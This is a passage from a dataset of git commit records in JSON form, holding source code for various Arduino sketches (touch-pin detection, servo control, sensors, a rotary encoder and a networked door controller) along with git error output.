detected\n \n unsigned char ch;\n\n while (Serial.available() > 0){\n\n ch = Serial.read();\n\n \/\/Serial.print(\"I just read the character \");\n \/\/Serial.println(ch);\n \n if (ch != '\\n' && ch != ' '){\n \/\/Serial.println(\"ch wasn't a newline or space\");\n cmdBuf.str[cmdBuf.nextChar] = ch;\n cmdBuf.nextChar++;\n }\n else if (ch == '\\n'){\n \/\/Serial.print(\"ch was a newline, so I need to execute this string: \");\n \/\/Serial.println(cmdBuf.str);\n cmdBuf.str[cmdBuf.nextChar] = ch;\n cmdBuf.nextChar = 0;\n exeCmds(cmdBuf.str);\n cmdBuf.str[0] = '\\0';\n \/\/Serial.print(\"I have reset the string to: \");\n \/\/Serial.println(cmdBuf.str);\n }\n }\n}\n\n\nvoid setup() {\n Serial.begin(9600);\n pinMode(4, OUTPUT);\n digitalWrite(4, HIGH);\n pinMode(7, OUTPUT);\n digitalWrite(7, HIGH);\n pinMode(8, OUTPUT);\n}\n\nvoid loop() {\n ; \/\/Should prob put something here to save power, so as not to churn away doing nothing\n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'arduino\/gzconfetti\/gzconfetti.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"e6b75799bdbb47124fd9807058c385825c896e7f","subject":"Add touch pin detection diagnostic sketch","message":"Add touch pin detection diagnostic sketch\n","repos":"ImpulseAdventure\/GUIslice,ImpulseAdventure\/GUIslice","old_file":"examples\/arduino\/diag_ard_touch_detect\/diag_ard_touch_detect.ino","new_file":"examples\/arduino\/diag_ard_touch_detect\/diag_ard_touch_detect.ino","new_contents":"\/\/\n\/\/ GUIslice Library Examples\n\/\/ - Calvin Hass\n\/\/ - https:\/\/www.impulseadventure.com\/elec\/guislice-gui.html\n\/\/ - https:\/\/github.com\/ImpulseAdventure\/GUIslice\n\/\/ - TFT Diagnostic (Arduino): Test Touch Pin Detection\n\/\/ - This sketch is intended to detect and report the set of pins\n\/\/ currently wired to a 4-wire resistive touch display\n\/\/ - This sketch is only intended to run in DRV_TOUCH_ADA_SIMPLE mode\n\/\/ - The pin detection logic is not supported on ARM or ESP32 devices\n\/\/ - Please refer to the touch configuration guide for details:\n\/\/ https:\/\/github.com\/ImpulseAdventure\/GUIslice\/wiki\/Configure-Touch-Support\n\/\/\n\/\/ ACKNOWLEDGEMENT:\n\/\/ - The pin detection logic was adapted from David Prentice's mcufriend_kbv library:\n\/\/ https:\/\/github.com\/prenticedavid\/MCUFRIEND_kbv\/blob\/master\/examples\/diagnose_Touchpins\/diagnose_Touchpins.ino\n\/\/\n\n#include \"GUIslice.h\"\n#include \"GUIslice_drv.h\"\n\n\/\/ Ensure debug messaging is enabled\n#if (DEBUG_ERR != 1)\n#undef DEBUG_ERR\n#define DEBUG_ERR 1\n#endif\n\n#if defined(DRV_TOUCH_NONE)\n#error \"Touch pin detection requires a touch driver but DRV_TOUCH_NONE was set\"\n#elif !defined(DRV_TOUCH_ADA_SIMPLE)\n#error \"Only DRV_TOUCH_ADA_SIMPLE supports pin detection\"\n#endif\n\n#if defined(__arm__) || defined(ESP32)\n#error \"Pin detection not supported on ARM or ESP32 platforms\"\n#endif\n\n\n#if defined(DRV_DISP_ADAGFX_MCUFRIEND)\n \/\/ Import MCUFRIEND to support ID reporting\n#include <MCUFRIEND_kbv.h>\nextern MCUFRIEND_kbv m_disp;\n#endif\n\n#define MAX_STR 30\n\n\/\/ Defines for resources\nenum { E_FONT_TXT };\n\n\/\/ Instantiate the GUI\n#define MAX_FONT 1\n\ngslc_tsGui m_gui;\ngslc_tsDriver m_drv;\ngslc_tsFont m_asFont[MAX_FONT];\n\n\nchar m_acTxt[MAX_STR];\ngslc_tsRect m_rStatus = (gslc_tsRect) { 40, 60, 50, 10 };\ngslc_tsFont* m_pFont = NULL;\n\n#define MAX_FONT 1\n\n\/\/ Define debug message function\nstatic int16_t DebugOut(char ch) { Serial.write(ch); return 0; }\n\nvoid DrawBackground()\n{\n \/\/ Background\n gslc_tsRect rBack = (gslc_tsRect) { 0, 0, 0, 0 };\n rBack.w = m_gui.nDispW;\n rBack.h = m_gui.nDispH;\n gslc_DrawFillRect(&m_gui, rBack, GSLC_COL_BLACK);\n\n \/\/ Status\n gslc_DrvDrawTxt(&m_gui, m_rStatus.x, m_rStatus.y, m_pFont, \"Detecing Pins\", GSLC_TXT_DEFAULT, GSLC_COL_YELLOW, GSLC_COL_BLACK);\n}\n\nbool DetectPins()\n{\n int nPinXm = -1;\n int nPinXp = -1;\n int nPinYp = -1;\n int nPinYm = -1;\n\n int i, j, value, Apins[2], Dpins[2], Values[2], found = 0;\n\n GSLC_DEBUG_PRINT(\"Making all control and bus pins INPUT_PULLUP\\n\", \"\");\n GSLC_DEBUG_PRINT(\"Typical 30k Analog pullup with corresponding pin\\n\", \"\");\n GSLC_DEBUG_PRINT(\"would read low when digital is written LOW\\n\", \"\");\n GSLC_DEBUG_PRINT(\"e.g. reads ~25 for 300R X direction\\n\", \"\");\n GSLC_DEBUG_PRINT(\"e.g. reads ~30 for 500R Y direction\\n\", \"\");\n GSLC_DEBUG_PRINT(\"\\n\", \"\");\n GSLC_DEBUG_PRINT(\"Starting detection:\\n\", \"\");\n\n for (i = A0; i < A5; i++) pinMode(i, INPUT_PULLUP);\n for (i = 2; i < 10; i++) pinMode(i, INPUT_PULLUP);\n for (i = A0; i < A4; i++) {\n for (j = 5; j < 10; j++) {\n pinMode(j, OUTPUT);\n digitalWrite(j, LOW);\n value = analogRead(i); \/\/ ignore first reading\n value = analogRead(i);\n if (value < 100) {\n GSLC_DEBUG_PRINT(\" Detected: (A%u, D%u) = %u\\n\", (i - A0), j, value);\n if (found < 2) {\n Apins[found] = i;\n Dpins[found] = j;\n Values[found] = value;\n found++;\n }\n }\n pinMode(j, INPUT_PULLUP);\n }\n }\n if (found == 2) {\n if (Values[0] < Values[1]) {\n nPinXm = Apins[0];\n nPinXp = Dpins[0];\n }\n else {\n nPinYp = Apins[0];\n nPinYm = Dpins[0];\n }\n if (Values[1] < Values[0]) {\n nPinXm = Apins[1];\n nPinXp = Dpins[1];\n }\n else {\n nPinYp = Apins[1];\n nPinYm = Dpins[1];\n }\n GSLC_DEBUG_PRINT(\"Final detection: YP=A%u XM=A%u YM=%u XP=%u\\n\", (nPinYp - A0), (nPinXm - A0), nPinYm, nPinXp);\n\n\n GSLC_DEBUG_PRINT(\"-----------------------------------------------\\n\", \"\");\n GSLC_DEBUG_PRINT(\"Recommended config settings:\\n\", \"\");\n GSLC_DEBUG_PRINT(\"- Please copy these values over any existing ADATOUCH_PIN_* settings in your config.\\n\\n\", \"\");\n\n GSLC_DEBUG_PRINT(\" \/\/ Pinout for DRV_TOUCH_SIMPLE 4-wire resistive touchscreen\\n\", \"\");\n #if defined(DRV_DISP_ADAGFX_MCUFRIEND)\n \/\/ For MCUFRIEND displays, report the ID\n snprintf(m_acTxt, MAX_STR, \"(MCUFRIEND ID=0x%04X)\", m_disp.readID());\n GSLC_DEBUG_PRINT(\" \/\/ %s\\n\", m_acTxt);\n #endif\n GSLC_DEBUG_PRINT(\" #define ADATOUCH_PIN_YP A%d \/\/ \\\"Y+\\\": Must be an analog pin\\n\", (nPinYp - A0));\n GSLC_DEBUG_PRINT(\" #define ADATOUCH_PIN_XM A%d \/\/ \\\"X-\\\": Must be an analog pin\\n\", (nPinXm - A0));\n GSLC_DEBUG_PRINT(\" #define ADATOUCH_PIN_YM %d \/\/ \\\"Y-\\\": Can be a digital pin\\n\", nPinYm);\n GSLC_DEBUG_PRINT(\" #define ADATOUCH_PIN_XP %d \/\/ \\\"X+\\\": Can be a digital pin\\n\", nPinXp);\n\n GSLC_DEBUG_PRINT(\"-----------------------------------------------\\n\", \"\");\n GSLC_DEBUG_PRINT(\"Current config settings:\\n\", \"\");\n GSLC_DEBUG_PRINT(\"- YP=A%u XM=A%u YM=%u XP=%u\\n\",\n (ADATOUCH_PIN_YP - A0), (ADATOUCH_PIN_XM - A0), ADATOUCH_PIN_YM, ADATOUCH_PIN_XP);\n GSLC_DEBUG_PRINT(\"-----------------------------------------------\\n\", \"\");\n GSLC_DEBUG_PRINT(\"Current config match recommendation?: \", \"\");\n \/\/ Check pins for a match\n if ((nPinXm != ADATOUCH_PIN_XM) || (nPinXp != ADATOUCH_PIN_XP) || \\\n (nPinYp != ADATOUCH_PIN_YP) || (nPinYm != ADATOUCH_PIN_YM))\n {\n GSLC_DEBUG_PRINT(\"MISMATCH - Please update config\\n\", \"\");\n return false;\n }\n else {\n GSLC_DEBUG_PRINT(\"OK - No need to update config\\n\", \"\");\n return true;\n }\n GSLC_DEBUG_PRINT(\"-----------------------------------------------\\n\", \"\");\n\n }\n else {\n return false;\n }\n\n}\n\n\nvoid setup()\n{\n \/\/ Initialize debug output\n Serial.begin(9600);\n gslc_InitDebug(&DebugOut);\n \/\/delay(1000); \/\/ NOTE: Some devices require a delay after Serial.begin() before serial port can be used\n\n \/\/ Initialize (with no support for GUI elements)\n if (!gslc_Init(&m_gui, &m_drv, NULL, 0, m_asFont, MAX_FONT)) { return; }\n\n \/\/ Use default font\n if (!gslc_FontAdd(&m_gui, E_FONT_TXT, GSLC_FONTREF_PTR, NULL, 1)) { return; }\n\n m_pFont = gslc_FontGet(&m_gui, E_FONT_TXT);\n\n DrawBackground();\n\n bool m_bDetectPinsOk = DetectPins();\n}\n\nvoid loop()\n{\n\n}","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples\/arduino\/diag_ard_touch_detect\/diag_ard_touch_detect.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"752d73d582bcecf5d39b928468a8a11aba22b02c","subject":"different debug config","message":"different debug config\n","repos":"trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone","old_file":"ArduinoClient\/ArduinoClient.ino","new_file":"ArduinoClient\/ArduinoClient.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/trinamic\/T-Bone.git\/'\n","license":"agpl-3.0","lang":"Arduino"} {"commit":"aa45e4cf23a12753b5a5346292fbc268c2145972","subject":"compiling code!","message":"compiling code!\n","repos":"jeremywrnr\/wampum,jeremywrnr\/wampum,jeremywrnr\/wampum","old_file":"arduino\/mainhrm\/mainhrm.ino","new_file":"arduino\/mainhrm\/mainhrm.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/jeremywrnr\/wampum.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"feadff7846d9a0649b56f68a1b7e6d6f8bdf5868","subject":"Cleaned Up Serial Code","message":"Cleaned Up Serial Code\n","repos":"Newark-Catholic-Robotics-Club\/Newark-Catholic-Atmospheric-Exploration-Project,Newark-Catholic-Robotics-Club\/Newark-Catholic-Atmospheric-Exploration-Project","old_file":"Data Logging\/Data-Logging-Main\/Data-Logging-Main.ino","new_file":"Data Logging\/Data-Logging-Main\/Data-Logging-Main.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'Data' did not match any file(s) known to git\nerror: pathspec 'Logging\/Data-Logging-Main\/Data-Logging-Main.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"4c4db4b4fdbc19dd2bcdb281a54811c765dcd4e9","subject":"First commit of project test script.","message":"First commit of project test script.\n","repos":"tyblu\/comp444-random,tyblu\/comp444-random,tyblu\/comp444-random,tyblu\/comp444-random","old_file":"Project\/robot_arm_test_script\/robot_arm_test_script.ino","new_file":"Project\/robot_arm_test_script\/robot_arm_test_script.ino","new_contents":"\/**\n * robot_arm_test_script.ino\n * Purpose: Quick and dirty scripts to test parts of my project robot.\n *\n * @author: Tyler Lucas\n * Student ID: 3305203\n * Date: September 28, 2017\n * Version 0.1\n * \n * References: N\/A\n * \n *\/\n\n\n#include <Servo.h> \/\/ servo library\n\n#define sonarTrigPin 13\n#define sonarEchoPin 12\n#define servo0PWMPin 11\n#define servo1PWMPin 9\n#define servo2PWMPin 8\n#define servo3PWMPin 6\n#define forceLVccPin 5\n#define forceRVccPin 4\n#define servo0PosPin A0\n#define servo1PosPin A1\n#define servo2PosPin A2\n#define servo3PosPin A3\n#define forceLPin A4\n#define forceRPin A5\n\nServo servo[4]; \/\/ servo control objects\nint angles[4] = { 90, 65, 90, 60 }; \/\/ initial angles\n\nvoid setup()\n{\n servo[0].attach( servo0PWMPin ); \/\/ swivel\n servo[1].attach( servo1PWMPin ); \/\/ boom\n servo[2].attach( servo2PWMPin ); \/\/ pincher\n servo[3].attach( servo3PWMPin ); \/\/ main arm\n for ( int n=0; n<4; n++ )\n servo[n].write( angles[n] );\n\n pinMode(sonarTrigPin, OUTPUT);\n pinMode(sonarEchoPin, INPUT);\n \n Serial.begin(9600);\n}\n\nvoid loop()\n{\n Serial.println();\n \n Serial.print(\"Servo #\");\n int servo_num = -1;\n while ( servo_num < 0 || servo_num > 3 )\n {\n while ( Serial.available() == 0 ) { }\n servo_num = Serial.parseInt();\n if ( servo_num < 0 || servo_num > 3 )\n Serial.print(\"\\n Umm.. nope. Try again.\\nServo #\");\n }\n Serial.println( servo_num );\n\n Serial.print(\"Angle: \");\n while ( Serial.available() == 0 ) { }\n int angle = Serial.parseInt();\n Serial.println( angle );\n\n angle = constrain_servo_angle(servo_num, angle);\n\n Serial.print(\"Setting servo #\");\n Serial.print( servo_num );\n Serial.print(\" to \");\n Serial.print( angle );\n Serial.println(\" degrees.\");\n\n go_to(servo_num, angle);\n\n Serial.print(\"Servo #\");\n Serial.print( servo_num );\n Serial.print(\" set to \");\n Serial.print( angles[servo_num] );\n Serial.println(\" degrees.\");\n}\n\nint constrain_servo_angle(int servo_number, int input_angle)\n{\n switch ( servo_number )\n {\n case 0: return constrain(input_angle, 0, 180);\n case 1:\n if (angles[3] < 60)\n return constrain(input_angle, formulaZ(angles[3]), formulaA(angles[3]));\n else if (angles[3] >= 60 && angles[3] < 70)\n return constrain(input_angle, formulaY(angles[3]), formulaB(angles[3]));\n else if (angles[3] >= 70 && angles[3] < 80)\n return constrain(input_angle, formulaY(angles[3]), formulaC(angles[3]));\n else if (angles[3] >= 80 && angles[3] < 100)\n return constrain(input_angle, formulaX(angles[3]), formulaC(angles[3]));\n else if (angles[3] >= 100 && angles[3] < 110)\n return constrain(input_angle, formulaX(angles[3]), formulaD(angles[3]));\n else if (angles[3] >= 110 && angles[3] < 120)\n return constrain(input_angle, formulaW(angles[3]), formulaE(angles[3]));\n else if (angles[3] >= 120 && angles[3] < 140)\n return constrain(input_angle, formulaV(angles[3]), formulaE(angles[3]));\n else if (angles[3] >= 140)\n return constrain(input_angle, formulaU(angles[3]), formulaE(angles[3]));\n else\n return -1;\n case 2: return constrain(input_angle, 65, 140);\n case 3: return constrain(input_angle, 60, 140);\n default: return -1;\n }\n}\n\nint formulaA(int angle) { return 140; }\nint formulaB(int angle) { return 140 + (angle - 60) * (135-140)\/(70-60); }\nint formulaC(int angle) { return 135; }\nint formulaD(int angle) { return 135 + (angle - 100) * (130-135)\/(110-100); }\nint formulaE(int angle) { return 130; }\nint formulaZ(int angle) { return 65; }\nint formulaY(int angle) { return 65 + (angle - 60) * (54-65)\/(80-60); }\nint formulaX(int angle) { return 54 + (angle - 80) * (20-54)\/(110-80); }\nint formulaW(int angle) { return 20 + (angle - 110) * (25-20)\/(120-110); }\nint formulaV(int angle) { return 25 + (angle - 120) * (18-25)\/(140-120); }\nint formulaU(int angle) { return 18; }\n\nint constrain_servo_angle_conservatively(int servo_number, int input_angle)\n{\n switch ( servo_number )\n {\n case 0: return constrain(input_angle, 15, 165);\n case 1: return constrain(input_angle, 65, 130);\n case 2: return constrain(input_angle, 65, 140);\n case 3: return constrain(input_angle, 60, 140);\n default: return -1;\n }\n}\n\n\/*\n * Increments towards the intended angle, keeping other angles in valid ranges.\n *\/\nvoid go_towards(int servo_number, int angle)\n{\n angle = constrain_servo_angle(servo_number, angle);\n \n int diff = angle - angles[servo_number];\n int dir;\n if (diff == 0)\n dir = 0;\n else\n dir = diff \/ abs(diff);\n \n angles[servo_number] += dir;\n servo[servo_number].write( angles[servo_number] );\n\n if ( servo_number == 3)\n {\n angles[(servo_number + 2) % 4] = constrain_servo_angle((servo_number + 2) % 4, angles[(servo_number + 2) % 4]);\n servo[(servo_number + 2) % 4].write( angles[(servo_number + 2) % 4] );\n }\n \n\/\/ if ( angles[servo_number] % 15 == 0 )\n\/\/ Serial.print(angles[servo_number]);\n}\n\nvoid go_to(int servo_number, int angle)\n{\n int min_delay_time = 10, max_delay_time = 100, delay_time = max_delay_time;\n \n int previous_angle;\n do {\n previous_angle = angles[servo_number];\n \n delay(delay_time);\n\n go_towards(servo_number, angle);\n\n if ( abs(angle - angles[servo_number]) > 15 && delay_time > min_delay_time )\n delay_time -= min_delay_time;\n else if ( abs(angle - angles[servo_number]) <= 15 && delay_time < max_delay_time)\n delay_time += min_delay_time;\n } while ( previous_angle - angles[servo_number] != 0 );\n}\n\ndouble readSonar()\n{\n long duration;\n\n digitalWrite(sonarTrigPin, LOW);\n delayMicroseconds(2);\n digitalWrite(sonarTrigPin, HIGH);\n delayMicroseconds(10);\n digitalWrite(sonarTrigPin, LOW);\n\n duration = pulseIn(sonarEchoPin, HIGH);\n return 0.146 * duration - 23.843; \/\/ returns in mm\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'Project\/robot_arm_test_script\/robot_arm_test_script.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"a1d4463a013b512bbcbb1481a37c6597f0450ad3","subject":"IR Sensor Arduino code. Publishes range data using ROS interface.","message":"IR Sensor Arduino code. Publishes range data using ROS interface.\n","repos":"MarsRobotics\/ROSta-Bot,MarsRobotics\/ROSta-Bot,MarsRobotics\/ROSta-Bot,MarsRobotics\/ROSta-Bot","old_file":"src\/ir_sensors\/irSensor.ino","new_file":"src\/ir_sensors\/irSensor.ino","new_contents":"\/* \n * rosserial IR Ranger Example \n * \n *\/\n\n#include <ros.h>\n#include <std_msgs\/Int32.h>\n\nros::NodeHandle nh;\n\nstd_msgs::Int32 irReading;\n\n\/\/ topic name is range_data\nros::Publisher irSensor( \"range_data\", &irReading);\n\nint pin = 0;\nint val = 0;\n\nvoid setup()\n{\n \/\/Serial.begin(9600);\n nh.initNode();\n nh.advertise(irSensor);\n}\n\nvoid loop()\n{\n \/\/ publish the range value \n val = analogRead(pin);\n irReading.data = val;\n irSensor.publish(&irReading);\n \/\/Serial.println(val);\n nh.spinOnce();\n delay(5000);\n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'src\/ir_sensors\/irSensor.ino' did not match any file(s) known to git\n","license":"bsd-3-clause","lang":"Arduino"} {"commit":"85be2746bc859999e39ec76cfd4874f14ec6f1a2","subject":"Added Yun Example (With Static CIK)","message":"Added Yun Example (With Static CIK)\n","repos":"exosite-garage\/arduino_exosite_library","old_file":"examples\/YunReadWriteString\/YunReadWriteString.ino","new_file":"examples\/YunReadWriteString\/YunReadWriteString.ino","new_contents":"\/\/*****************************************************************************\n\/\/\n\/\/ YunReadWriteString - A simple example showing how to use the Exosite\n\/\/ library on the Arduino Y\u00fan with a static CIK.\n\/\/\n\/\/ Copyright (c) 2013 Exosite LLC. All rights reserved.\n\/\/ \n\/\/ Redistribution and use in source and binary forms, with or without \n\/\/ modification, are permitted provided that the following conditions are met:\n\n\/\/ * Redistributions of source code must retain the above copyright notice,\n\/\/ this list of conditions and the following disclaimer.\n\/\/ * Redistributions in binary form must reproduce the above copyright \n\/\/ notice, this list of conditions and the following disclaimer in the\n\/\/ documentation and\/or other materials provided with the distribution.\n\/\/ * Neither the name of Exosite LLC nor the names of its contributors may\n\/\/ be used to endorse or promote products derived from this software \n\/\/ without specific prior written permission.\n\/\/ \n\/\/ THIS SOFTWARE IS PROVIDED \"AS IS\" AND WITH ALL FAULTS.\n\/\/ NO WARRANTIES, WHETHER EXPRESS, IMPLIED OR STATUTORY, INCLUDING, BUT\n\/\/ NOT LIMITED TO, IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR\n\/\/ A PARTICULAR PURPOSE APPLY TO THIS SOFTWARE. TI SHALL NOT, UNDER ANY\n\/\/ CIRCUMSTANCES, BE LIABLE FOR SPECIAL, INCIDENTAL, OR CONSEQUENTIAL\n\/\/ DAMAGES, FOR ANY REASON WHATSOEVER.\n\/\/\n\/\/*****************************************************************************\n\n#include <Bridge.h>\n#include <YunClient.h>\n#include <Exosite.h>\n#include <EEPROM.h>\n\n\/*==============================================================================\n* Configuration Variables\n*\n* Change these variables to your own settings.\n*=============================================================================*\/\nString cikData = \"0000000000000000000000000000000000000000\"; \/\/ <-- Fill in your CIK here! (https:\/\/portals.exosite.com -> Add Device)\n\n\/\/ Use these variables to customize what datasources are read and written to.\nString readString = \"command&uptime\";\nString writeString = \"uptime=\";\nString returnString;\n\n\/*==============================================================================\n* End of Configuration Variables\n*=============================================================================*\/\nclass YunClient client;\nExosite exosite(cikData, &client);\n\n\/*==============================================================================\n* setup\n*\n* Arduino setup function.\n*=============================================================================*\/\nvoid setup(){ \n Bridge.begin();\n Serial.begin(115200);\n Serial.println(\"Boot\");\n}\n\n\/*==============================================================================\n* loop \n*\n* Arduino loop function.\n*=============================================================================*\/\nvoid loop(){\n \/\/Write to \"uptime\" and read from \"uptime\" and \"command\" datasources.\n if ( exosite.writeRead(writeString+String(millis()), readString, returnString)){\n Serial.println(\"OK\");\n Serial.println(returnString);\n }else{\n Serial.println(\"Error\");\n }\n\n delay(5000);\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples\/YunReadWriteString\/YunReadWriteString.ino' did not match any file(s) known to git\n","license":"bsd-3-clause","lang":"Arduino"} {"commit":"919d2d7f7f18ec6b2edc65adf103b1865fe4dbc7","subject":"PushbuttonExample","message":"PushbuttonExample\n","repos":"garmstrong456\/TEC-Bot-Zumo-Cornell,garmstrong456\/TEC-Bot-Zumo-Cornell","old_file":"Pushbutton\/examples\/PushbuttonExample\/PushbuttonExample.ino","new_file":"Pushbutton\/examples\/PushbuttonExample\/PushbuttonExample.ino","new_contents":"#include <Pushbutton.h>\n\n\/*\n * This example uses the Pushbutton library to demonstrate three different\n * methods for detecting a button press and release. It blinks the yellow\n * user LED each time the Zumo user button is pressed and released. You can\n * still use this demo without a Zumo Shield if you connect a normally-open\n * momentary pushbutton between digital pin 12 and ground on your Arduino.\n *\/\n\n#define LED_PIN 13\n\n\/*\n * Create a Pushbutton object for pin 12 (the Zumo user pushbutton pin)\n * with default settings, which enables the internal pull-up on the pin\n * and interprets a HIGH pin value as the default (unpressed) state of the\n * button. (Optional arguments can be passed to the constructor to specify\n * other button types and connection methods; see the documentation for\n * details.)\n *\/\nPushbutton button(ZUMO_BUTTON);\n\nvoid setup()\n{\n pinMode(LED_PIN, OUTPUT);\n}\n\nvoid loop()\n{\n \/*\n * Method 1: Directly read the state of the button with the isPressed()\n * function. You must debounce the button yourself with this method.\n *\/\n do\n {\n while (!button.isPressed()); \/\/ wait for button to be pressed\n delay(10); \/\/ debounce the button press\n }\n while (!button.isPressed()); \/\/ if button isn't still pressed, loop\n \n do\n {\n while (button.isPressed()); \/\/ wait for button to be released\n delay(10); \/\/ debounce the button release\n }\n while (button.isPressed()); \/\/ if button isn't still released, loop\n \n \/\/ blink LED\n digitalWrite(LED_PIN, HIGH);\n delay(200);\n digitalWrite(LED_PIN, LOW);\n \n \/*\n * Method 2: Use the waitForButton() function, which blocks and doesn't\n * return until a button press and release are detected. This function\n * takes care of button debouncing.\n *\/\n button.waitForButton();\n \n \/\/ blink LED\n digitalWrite(LED_PIN, HIGH);\n delay(200);\n digitalWrite(LED_PIN, LOW);\n \n \/*\n * Method 3: Call the getSingleDebouncedRelease() function repeatedly\n * in a loop, which returns true to report a single button release or false\n * otherwise. This function takes care of button debouncing. If you have\n * multiple buttons, you can call getSingleDebouncedRelease() or\n * getSingleDebouncedPress() in a loop for all of them until one of them\n * returns true.\n *\/\n while (1)\n {\n if (button.getSingleDebouncedRelease())\n {\n \/\/ blink LED\n digitalWrite(LED_PIN, HIGH);\n delay(200);\n digitalWrite(LED_PIN, LOW); \n \n break;\n }\n }\n}","old_contents":"","returncode":1,"stderr":"error: pathspec 'Pushbutton\/examples\/PushbuttonExample\/PushbuttonExample.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"9ebb53918bbc615e3c52b252bae27d21bf8cf1f5","subject":"you should write to the correct motors \u2026","message":"you should write to the correct motors \u2026\n","repos":"trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone","old_file":"ArduinoClient\/TMC5041.ino","new_file":"ArduinoClient\/TMC5041.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/trinamic\/T-Bone.git\/'\n","license":"agpl-3.0","lang":"Arduino"} {"commit":"9a10f0b0bd4e8a5148f21d0ed84bbb79f0aba0ba","subject":"First commit. Basic rotary control.","message":"First commit. Basic rotary control.\n","repos":"juanalonso\/musicbox","old_file":"musicbox.ino","new_file":"musicbox.ino","new_contents":"int encoderPin1 = 2;\nint encoderPin2 = 3;\n\nint enc1LastValue;\nint counter = 0;\n\nchar* streams[] = {\"primero\", \"segundo\", \"tercero\", \n \"cuarto\", \"quinto\", \"sexto\",\n \"septimo\", \"octavo\", \"noveno\"};\n\nint streamsSize = sizeof(streams)\/sizeof(char*);\n\nvoid setup() {\n\n Serial.begin (9600);\n Serial.println(streamsSize);\n\n pinMode(encoderPin1, INPUT);\n digitalWrite(encoderPin1, HIGH);\n enc1LastValue = digitalRead(encoderPin1);\n\n pinMode(encoderPin2, INPUT);\n digitalWrite(encoderPin2, HIGH);\n\n}\n\nvoid loop() {\n\n int enc1Value = digitalRead(encoderPin1);\n int enc2Value = digitalRead(encoderPin2);\n\n if (enc1Value != enc1LastValue) {\n delay(1);\n if (enc1Value == LOW) {\n (enc2Value == enc1Value) ? counter++ : counter--;\n if (counter<0) {\n counter = 0;\n }\n if (counter>=streamsSize) {\n counter = streamsSize-1;\n }\n Serial.print(counter);\n Serial.print(\": \");\n Serial.println(streams[counter]);\n }\n enc1LastValue = enc1Value;\n }\n}\n\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'musicbox.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"f884a6a8761f39b1eff1b4d280975c93197ce4ac","subject":"Added TA project v2","message":"Added TA project v2\n","repos":"Dimasdanz\/BiotechProject,Dimasdanz\/BiotechProject","old_file":"BiotechHardware\/dcs\/dcs_ta2\/dcs_ta2.ino","new_file":"BiotechHardware\/dcs\/dcs_ta2\/dcs_ta2.ino","new_contents":"#include <SPI.h> \n#include <Ethernet.h>\n#include <Keypad.h>\n#include <Wire.h>\n#include <LiquidCrystal_I2C.h>\n#include <Servo.h>\n\nconst char server_addr[] = \"192.168.2.4\";\nbyte mac[] = {\n 0x90, 0xA2, 0xDA, 0x0E, 0xF5, 0xF8};\nbyte ip[] = {\n 192,168,1,73};\n\nEthernetServer server(80);\nboolean device_status = true;\n\nconst byte ROWS = 4;\nconst byte COLS = 3;\nchar keys[ROWS][COLS] = {\n {\n '1','2','3' }\n ,\n {\n '4','5','6' }\n ,\n {\n '7','8','9' }\n ,\n {\n '*','0','#' }\n};\n\nbyte rowPins[ROWS] = {\n 2, 3, 4, 5};\nbyte colPins[COLS] = {\n 6, 7, 8};\n\nKeypad keypad = Keypad(makeKeymap(keys), rowPins, colPins, ROWS, COLS );\nLiquidCrystal_I2C lcd(0x27,20,4);\nServo myservo;\n\nchar pass[16];\nint attempt = 0;\nint count = 0;\nint max_attempt = 3;\n\nconst int sensor = A2;\nconst int push_btn = A3;\nconst int servo = 9;\n\nvoid setup(){\n Serial.begin(9600);\n Ethernet.begin(mac, ip);\n server.begin();\n pinMode(sensor, INPUT);\n digitalWrite(sensor, HIGH);\n pinMode(push_btn, INPUT);\n digitalWrite(push_btn, HIGH);\n myservo.write(70);\n Serial.println(\"ready\");\n}\n\nvoid loop(){\n EthernetClient client = server.available();\n if(client){\n while(client.connected()){\n if(client.available()){\n if(client.find(\"GET \/\")){\n while(client.findUntil(\"command_\", \"\\n\\r\")){ \n char type = client.read();\n if(type == 'o') {\n Serial.println(\"Open Command\");\n client.println(\"HTTP\/1.1 200 OK\");\n client.println(\"Content-Type: application\/json\");\n client.println();\n client.print(\"{\\\"response\\\":\\\"open\\\"}\");\n }\n else if(type == 's'){\n int val = client.parseInt();\n Serial.println(\"Status Command\");\n if(val == 2){\n device_status = true;\n Serial.println(\"Activate\");\n client.println(\"HTTP\/1.1 200 OK\");\n client.println(\"Content-Type: application\/json\");\n client.println();\n client.print(\"{\\\"response\\\":\\\"activate\\\"}\");\n }\n else if(val == 0){\n device_status = false;\n Serial.println(\"Deactivate\");\n client.println(\"HTTP\/1.1 200 OK\");\n client.println(\"Content-Type: application\/json\");\n client.println();\n 